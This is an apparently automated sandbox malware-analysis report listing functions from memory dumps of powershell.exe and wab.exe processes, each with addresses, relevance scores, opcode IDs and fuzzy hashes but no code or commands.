Instruction Fuzzy Hash: F5827CB4B00205DFEB24CB98C840B6ABBB2EF85315F25C4A9D8159F755DB71EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07B750DD Relevance: 4.2, Strings: 3, Instructions: 483COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B752F7
(fl, xrefs: 07B74FB3
(fl, xrefs: 07B74EF7

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl$(fl
API String ID: 0-3144609269
Opcode ID: 988476df788284667fc4c3ff527ea865bc652c069c85b31d350569a3e7f8a543
Instruction ID: 16fba95d707db5b39a4f6e1106670116b3cf94042cd4b23b97b3697cc401d202
Opcode Fuzzy Hash: 988476df788284667fc4c3ff527ea865bc652c069c85b31d350569a3e7f8a543
Instruction Fuzzy Hash: DA1269B4A00205DFEB24CB98C580F59BBB2EF85315F25C4A9E925AF755DB72EC41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 07B7E0E0 Relevance: 3.0, Strings: 2, Instructions: 525COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B7E61B
(fl, xrefs: 07B7E611

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl
API String ID: 0-1194790885
Opcode ID: 18fd248844398df305d42e2169dcb6a244cd5773ad8d1e73adac4ad9f2ce9448
Instruction ID: 1c6d2889a6d8f760e8a41c0f89247f9bf622e695647a0c89611dcd141793ea22
Opcode Fuzzy Hash: 18fd248844398df305d42e2169dcb6a244cd5773ad8d1e73adac4ad9f2ce9448
Instruction Fuzzy Hash: 0C12AEF5B00205DFEB14CB68C454BAABBB2EF89210F2580EAD815AF751DB71DD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07B7CB81 Relevance: 2.9, Strings: 2, Instructions: 397COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B7D105
(fl, xrefs: 07B7CF25

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl
API String ID: 0-1194790885
Opcode ID: 04e14782f007f4751169c88369d3cca23842a37a14d8e4c242049fcc1d6b8eb6
Instruction ID: 7b37ebea1b5726e48e6dd2782ff9d6991e88fb51b5562cca29665a3342a31855
Opcode Fuzzy Hash: 04e14782f007f4751169c88369d3cca23842a37a14d8e4c242049fcc1d6b8eb6
Instruction Fuzzy Hash: FF023AB4A002199FE724DB28C990BDEB7B2AF85304F1085E6D9096F741DB75AEC1CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07B7624B Relevance: 2.9, Strings: 2, Instructions: 387COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B76590
(fl, xrefs: 07B7659C

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl
API String ID: 0-1194790885
Opcode ID: 9a81558981e6620f9e197fdc496493e166c1d29ec7a0f77921d2422749ac0f17
Instruction ID: 01a757a526269bdf06394bb3e7303b22d302cce1cdc06fb08419cdc4b1fff97d
Opcode Fuzzy Hash: 9a81558981e6620f9e197fdc496493e166c1d29ec7a0f77921d2422749ac0f17
Instruction Fuzzy Hash: FFF16BB4B003159FEB24DB28C851B5AB7B2AF89304F10C4E9D9096F791DB75ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07B75490 Relevance: 2.7, Strings: 2, Instructions: 247COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B755CD
(fl, xrefs: 07B755D7

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl
API String ID: 0-1194790885
Opcode ID: c0c713441b8c6aba9b7b4123df758fceb872c5bc222cff5343e9150bf105d2b1
Instruction ID: 5ea56009b42109ac1cff03579d7c3bd20de323572c1f0c629d877c31554bf653
Opcode Fuzzy Hash: c0c713441b8c6aba9b7b4123df758fceb872c5bc222cff5343e9150bf105d2b1
Instruction Fuzzy Hash: B3919EF4B00304ABE714DB68C545B9AB7F2EF89314F2480A9E9016F791DB76EC51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07B7BE70 Relevance: 1.6, Strings: 1, Instructions: 363COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B7C187

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl
API String ID: 0-423539152
Opcode ID: 4aa95afd24610276c091005a8721d477d2b20ecaf84d242ec57e98dbdf24027f
Instruction ID: b3889cab4d0350da4652bef6346e818e010fb1a3f3fefe17735bf51c37d4e324
Opcode Fuzzy Hash: 4aa95afd24610276c091005a8721d477d2b20ecaf84d242ec57e98dbdf24027f
Instruction Fuzzy Hash: 49E1AEB4B003149FE714EB68C894B9EB7B2AF85304F1184A9D9096F391DB75EE81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07B75468 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B755CD

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl
API String ID: 0-423539152
Opcode ID: 55d41c637ffa655f929820fb115e03a5598d07114b6c7a745202060ab8ec5082
Instruction ID: 537e1e29356feb01c9ad210f902be01731810e9e31f06797dd6e25db502605f7
Opcode Fuzzy Hash: 55d41c637ffa655f929820fb115e03a5598d07114b6c7a745202060ab8ec5082
Instruction Fuzzy Hash: 1D917CB4B00304AFE714DB68C584B9AB7B2EF89314F258099E9016F791DB76EC90CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07B7E42C Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B7E611

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl
API String ID: 0-423539152
Opcode ID: fa1b01fa18394f3b8049366410bf4da046ff31beeb646c655def4627f958e7d4
Instruction ID: dc435441506dad3f2ad9519ee862a2a60b17f30f77abd5e05d537d79288dde05
Opcode Fuzzy Hash: fa1b01fa18394f3b8049366410bf4da046ff31beeb646c655def4627f958e7d4
Instruction Fuzzy Hash: F48127B4A00205DFEB14CF58C594AA9BBB2EF89314F19C0D9E815AB751DB72E841CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07B7E440 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B7E611

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl
API String ID: 0-423539152
Opcode ID: 0a7575c22c1a320eb4ada6baf8486db05e9b6bf18bd0f3eedeaa86bf5a5bcb53
Instruction ID: 2ce68258ed4a20b1286be788cae1204f76f85e3e5c68af5012ab1c6fdead9c01
Opcode Fuzzy Hash: 0a7575c22c1a320eb4ada6baf8486db05e9b6bf18bd0f3eedeaa86bf5a5bcb53
Instruction Fuzzy Hash: B08128B4A00209DFEB14CF58C584AAABBB2EF89314F15C0D9E815AB351DB72E841CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07B7B74D Relevance: .7, Instructions: 704COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cecd574f5d3ce059f1b0eec30a49650106ce2fe6373a72b9f1dad3b46102cb3f
Instruction ID: 197279743596ef410df41b0078849960a9c843caff5b416dc5fefc02a097ab00
Opcode Fuzzy Hash: cecd574f5d3ce059f1b0eec30a49650106ce2fe6373a72b9f1dad3b46102cb3f
Instruction Fuzzy Hash: BC624CB4A002189FE714DB68C990BDEB7B2EF89304F1085E9D9096F351DB75AE81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07B70638 Relevance: .5, Instructions: 486COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c4b98dfb326ca26cbc796353b1f76864d100e10a11f56e50532406df4d26988
Instruction ID: 9c2669bb4f76b2b72069e1b7521888311c65b7f8d417ce4de57cb5db84be98f5
Opcode Fuzzy Hash: 4c4b98dfb326ca26cbc796353b1f76864d100e10a11f56e50532406df4d26988
Instruction Fuzzy Hash: F1F113F1704346DFEB25AB68D81076ABBB6EFC6211F28C0ABD465CB351DA31D841C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 07B77020 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e2ef19cc47176930291bfa22beac4313cf95a91d8f64be5d897023fbfe9c55d
Instruction ID: 7091efb9188852f11276446343c93e00a482cdf6fea4d8015bd8a208407651da
Opcode Fuzzy Hash: 9e2ef19cc47176930291bfa22beac4313cf95a91d8f64be5d897023fbfe9c55d
Instruction Fuzzy Hash: BFD18DB0B002099BEB14DB68C455B9EB7B2EF89314F21C4A9E8116F391DF75DC42CB95

Uniqueness

Uniqueness Score: -1.00%

Function 07B76FC8 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15ee25e01d49e3c41cac677050e53be3d1cbc032eee6e12d8cab875bc903459d
Instruction ID: f45f818a5b09e16c6cbeeb48f89936caa2d28c0a526e888e986fa36d41a72e5a
Opcode Fuzzy Hash: 15ee25e01d49e3c41cac677050e53be3d1cbc032eee6e12d8cab875bc903459d
Instruction Fuzzy Hash: 6AC1ADB0A003059FEB14DF68C494B9ABBB2EF89314F25C09AD8116F391DF75E842CB95

Uniqueness

Uniqueness Score: -1.00%

Function 07B72C70 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928324d882a459b5d65451e4e5fd30e8cf19920bacf5f213469352d3435aa1e2
Instruction ID: 2874478871fa3af50476c29b1a4f5ad54263a636bd0cc745f06cf8a75f5a2dea
Opcode Fuzzy Hash: 928324d882a459b5d65451e4e5fd30e8cf19920bacf5f213469352d3435aa1e2
Instruction Fuzzy Hash: 3951F4F1708385DFEB258B74C810BAA7B71EFD6211F1880EBE465DB292DA358941C792

Uniqueness

Uniqueness Score: -1.00%

Function 07B7E0CB Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519acb777973f4a14bd7d9f74cd918dfda53b3774737613420849a55641d073b
Instruction ID: 82bd6a5c49423946518293cafeb15f265d320e57f92fe75a3f5ccb1c31f46474
Opcode Fuzzy Hash: 519acb777973f4a14bd7d9f74cd918dfda53b3774737613420849a55641d073b
Instruction Fuzzy Hash: A83128F0B05302AFEB205A6959117797BA5DF82651F1440EBD4219FB81EB75CD81C3A2

Uniqueness

Uniqueness Score: -1.00%

Function 07B77446 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71a6f2efcdcc6ce8e39fa3712056399f45955cfea713a0fbcfafc0fce9ff9128
Instruction ID: 29739efa844f059d6a8d0bdfc1a64804942c62568a4190207c7abf264c3a2c59
Opcode Fuzzy Hash: 71a6f2efcdcc6ce8e39fa3712056399f45955cfea713a0fbcfafc0fce9ff9128
Instruction Fuzzy Hash: 9C318FB4B40304ABE704AB64C858FAEB6B3EF85354F20C469E9016F790DEB6DC418BD5

Uniqueness

Uniqueness Score: -1.00%

Function 07B708C2 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13116e70ef11a03eb77dd5388c79e7e878f96bb2d577125d5160f554217e8b9d
Instruction ID: e5de67e7f6735edd4140c5ae71e9ef1462f4540529c4faa5f02ea1b24ce47584
Opcode Fuzzy Hash: 13116e70ef11a03eb77dd5388c79e7e878f96bb2d577125d5160f554217e8b9d
Instruction Fuzzy Hash: F831E5F5604306DFFB10AF6DC440766BBB6EF95350F1580A7E8289B291D735C940CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07B7D5C0 Relevance: 5.4, Strings: 4, Instructions: 393COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B7D8D2
(fl, xrefs: 07B7D8C8
(fl, xrefs: 07B7D970
(fl, xrefs: 07B7D966

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl$(fl$(fl
API String ID: 0-2123353879
Opcode ID: 4887486d227bfbb45dfe724b1984ed3449155bc1d9cbecfe15c6486c084b6da8
Instruction ID: 866dc0b3946dae49d44416c957cd34bd93fa5e49327093eabf220158db2c21c8
Opcode Fuzzy Hash: 4887486d227bfbb45dfe724b1984ed3449155bc1d9cbecfe15c6486c084b6da8
Instruction Fuzzy Hash: 8BF139F4B00205DFEB14DB98C445B6AB7B2FF89254F2481A9D825AB744DB72EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07B76B89 Relevance: 5.3, Strings: 4, Instructions: 265COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B76CA9
(fl, xrefs: 07B76D24
(fl, xrefs: 07B76EA2
(fl, xrefs: 07B76DF5

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl$(fl$(fl
API String ID: 0-2123353879
Opcode ID: 8e165980c1750d54c348920209ed5a2b6c47d6e6a84abe97f9ac7879058987fc
Instruction ID: f7a2f04f7ae435fa9a97a23bafad2d50d945b1268a4619bfa774b96f1529d06e
Opcode Fuzzy Hash: 8e165980c1750d54c348920209ed5a2b6c47d6e6a84abe97f9ac7879058987fc
Instruction Fuzzy Hash: 03A172F4E00B05DFEB24CF54C480A6ABBB2FF85318F14859AD8656BB45D732A881CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07B76BB0 Relevance: 5.2, Strings: 4, Instructions: 250COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B76CA9
(fl, xrefs: 07B76D24
(fl, xrefs: 07B76EA2
(fl, xrefs: 07B76DF5

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl$(fl$(fl
API String ID: 0-2123353879
Opcode ID: 21f3e2a87016d08cdb74fe75bef1ecbf721e2bbd0bd5749dbb923c8ee996b49f
Instruction ID: 328c982fb7e7ad1957630a5fa7d467bcba8eb6670edbf7b989b6c3b953b0af4a
Opcode Fuzzy Hash: 21f3e2a87016d08cdb74fe75bef1ecbf721e2bbd0bd5749dbb923c8ee996b49f
Instruction Fuzzy Hash: C3A142F4E01B05DBEB24CF54C481A6AB7B2FF85718F14859AD8256BB45D732E881CF90

Uniqueness

Uniqueness Score: -1.00%

Function 07B77600 Relevance: 5.2, Strings: 4, Instructions: 192COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B776F7
(fl, xrefs: 07B77775
(fl, xrefs: 07B7777F
(fl, xrefs: 07B77701

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl$(fl$(fl
API String ID: 0-2123353879
Opcode ID: be720528cf33498244bf93cdc6eace36390eac788295e131e3d62963fdf5bdac
Instruction ID: 284e0f4d05e8341a1ad2de4913a4a95ea4204fe1f65ca54e9424e4c323491a0a
Opcode Fuzzy Hash: be720528cf33498244bf93cdc6eace36390eac788295e131e3d62963fdf5bdac
Instruction Fuzzy Hash: 9D7159F4B10205DBEB14CB58C485BAABBB2EF89214F24C1A9D815AF355DF71EC81CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wab.exePID: 7228, Parent PID: 8108COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	21
Total number of Limit Nodes:	1

Executed Functions

Function 28AF0040 Relevance: 2.8, Instructions: 2755COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae0006d04ef473e4667aac2e7d283812333a74cd76f4db46ba4f4c015a680dec
Instruction ID: 0f17c074a0f218b4f3b3ab4e30249368fbe85c2249c64a790bf3fa194b7e7e41
Opcode Fuzzy Hash: ae0006d04ef473e4667aac2e7d283812333a74cd76f4db46ba4f4c015a680dec
Instruction Fuzzy Hash: 4F53D431D11B1A8ADB11EF68C894A99F7B1FF99300F11D79AE44877121EB70AAD4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 28AF0011 Relevance: 2.5, Instructions: 2475COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0a3d7fb909c3045573122ed9df8078cc824762e6f6f9e5a4ab951f774bdb1a1
Instruction ID: f70e5b873cb6ad435d7b5cc1b7cb3dea1c31be3271480d1fba71764a104a3c05
Opcode Fuzzy Hash: d0a3d7fb909c3045573122ed9df8078cc824762e6f6f9e5a4ab951f774bdb1a1
Instruction Fuzzy Hash: 8B43D431D11B1A8ADB11EF68C894A99F7B1FF99300F11D79AE44877121EB70AAD4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 28AF33E8 Relevance: 2.2, Instructions: 2241COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b479c11e3c96d215b2da6497a8a043c52073ec86555ac351c2c2ccc79f499112
Instruction ID: 694e1a659887fdb23229abb7dee03e058c91fdf5dcf99af1960e1c41ffa0b4fc
Opcode Fuzzy Hash: b479c11e3c96d215b2da6497a8a043c52073ec86555ac351c2c2ccc79f499112
Instruction Fuzzy Hash: 5D330B31D11619CEDB11EF68C880A99F7B1FF99300F15C79AE448B7221EB71AAC5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 28AF89E0 Relevance: 1.8, Strings: 1, Instructions: 589
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 28AF8D1B

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: c0683e6ad93e03f1291a2c4493028300f35372d158aa4ca3d7704013d7aaff14
Instruction ID: e1184374698f33b758c4862c8488bc2cf3bdbda5f9e0ffa097c2c4e35d739a46
Opcode Fuzzy Hash: c0683e6ad93e03f1291a2c4493028300f35372d158aa4ca3d7704013d7aaff14
Instruction Fuzzy Hash: 7122AE71E01209CBDB14DBA4C48479EBBB2FF99310F248479E515AB345DB3AED46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 28AF5AB0 Relevance: 1.0, Instructions: 1042COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb2892928afe36137d55fc33cc4e20875183eda014ff4294e4bfde916a7257b1
Instruction ID: 4ed14c811f4c6d31e8a80e8bbc7f3dec57934908a73d8050b291d2db1a6c72a7
Opcode Fuzzy Hash: cb2892928afe36137d55fc33cc4e20875183eda014ff4294e4bfde916a7257b1
Instruction Fuzzy Hash: AC920434A01214CFDB24DF68C588B89BBF2FB49315F5485A9E409AB352DB36ED85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 28AFEA69 Relevance: .6, Instructions: 576COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c364b85c823860717005cf8d112c2c13756ab64390e3b40b783d65895fccaf3
Instruction ID: 71d3971546e6aa9855f181c8701301983abdf4211ce6cd99314928fc67393687
Opcode Fuzzy Hash: 6c364b85c823860717005cf8d112c2c13756ab64390e3b40b783d65895fccaf3
Instruction Fuzzy Hash: 97227C30B01209DBEB10DB68D48079DB7B2FB99310F248936F509EB792DE76DD918B91

Uniqueness

Uniqueness Score: -1.00%

Function 28AF68A8 Relevance: .5, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae57d493c33b7dd63523210ed7362240bbc8bcb79d1945681f18854bba4f0321
Instruction ID: 9b6f8a909774a30465c12cbc2ee09957003596422cc5c8fa0fa471d58d85fcbd
Opcode Fuzzy Hash: ae57d493c33b7dd63523210ed7362240bbc8bcb79d1945681f18854bba4f0321
Instruction Fuzzy Hash: 9C324030E10719CBDB15EB79D890A9DB7B2FFD9300F60C669E409AB211EF31A985CB50

Uniqueness

Uniqueness Score: -1.00%

Function 28AFB5C0 Relevance: .5, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b037ab6e72475e894f491e2f0d3ba03bccb0417f5a8903b9a5c3b0b68e8f9bba
Instruction ID: 03730c6e55a83492e739bebee71d4523a120d581bdbde7953341e1f9493c8ea6
Opcode Fuzzy Hash: b037ab6e72475e894f491e2f0d3ba03bccb0417f5a8903b9a5c3b0b68e8f9bba
Instruction Fuzzy Hash: 2B025A30B022059BDB14EB69D494B9EB7F2FF88310F248569E505AB395DF36ED42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02EF41F8 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93f75acc3fc36ece5b53207228c88c432910afd11e27bc7058eb5498f05e2cbd
Instruction ID: cc6e51a9388d8079cd644f351fa9766d050e2fdda24c926c17fec7bd3fc86f69
Opcode Fuzzy Hash: 93f75acc3fc36ece5b53207228c88c432910afd11e27bc7058eb5498f05e2cbd
Instruction Fuzzy Hash: 2CB14DB0E40209CFDB50DFA9D8857DEBBF2AF88318F14D129DA15A7294EB749845CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02EF4AC8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfcc3482c99a55ae0c67a97bd4c63064682bf253fecb662da73637f9e5fab6c6
Instruction ID: fa59e7a055c865df2543cd624a0ec1cef88f4d199c6ec033d810eae183aedf8d
Opcode Fuzzy Hash: bfcc3482c99a55ae0c67a97bd4c63064682bf253fecb662da73637f9e5fab6c6
Instruction Fuzzy Hash: DAB1A170E00209CFDB50CFA8C8957DEBBF2AF88318F14D129D615EB294EB759845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02EF3EB0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd554eeed428d9d8be468e0d7ae1be5b3dc6cf85cbfd2b30a5f6ca9eca7d1d7
Instruction ID: 2177430a5d1931fe410b0e87fe48e64b817f2d2f390ba5182986f6f54b57ecb8
Opcode Fuzzy Hash: 1cd554eeed428d9d8be468e0d7ae1be5b3dc6cf85cbfd2b30a5f6ca9eca7d1d7
Instruction Fuzzy Hash: 6F916971E40209CFDF50CFA9C8857DEBBF2AF88308F14D529E605AB294EB749845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 28AFE510 Relevance: 2.9, Strings: 2, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dM, xrefs: 28AFE96A
dM, xrefs: 28AFE889

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID: dM$dM
API String ID: 0-2801238145
